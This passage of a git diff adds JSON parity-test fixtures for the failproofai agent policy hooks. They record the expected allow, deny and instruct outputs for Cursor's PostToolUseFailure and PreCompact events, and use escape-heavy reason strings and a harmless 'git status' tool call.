-0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..8a89ba56 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..72a17d15 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..4d994a80 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..ba49ea6c --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..5d74ecba --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..66d5ce2a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..e6b41fbc --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..7e94e7c9 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b769a13c --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..b53bb2ff --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8a220598 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..d8ae458e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..8cfe9c6f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..2830c307 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PreCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8f4057bf --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PreCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..35d95cc0 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PreCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9b22ea9e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PreCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..4a6eb141 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + 